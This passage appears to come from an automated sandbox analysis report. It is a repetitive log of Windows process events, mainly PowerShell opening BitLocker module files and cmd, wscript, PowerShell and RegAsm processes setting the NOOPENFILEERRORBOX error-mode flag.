Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
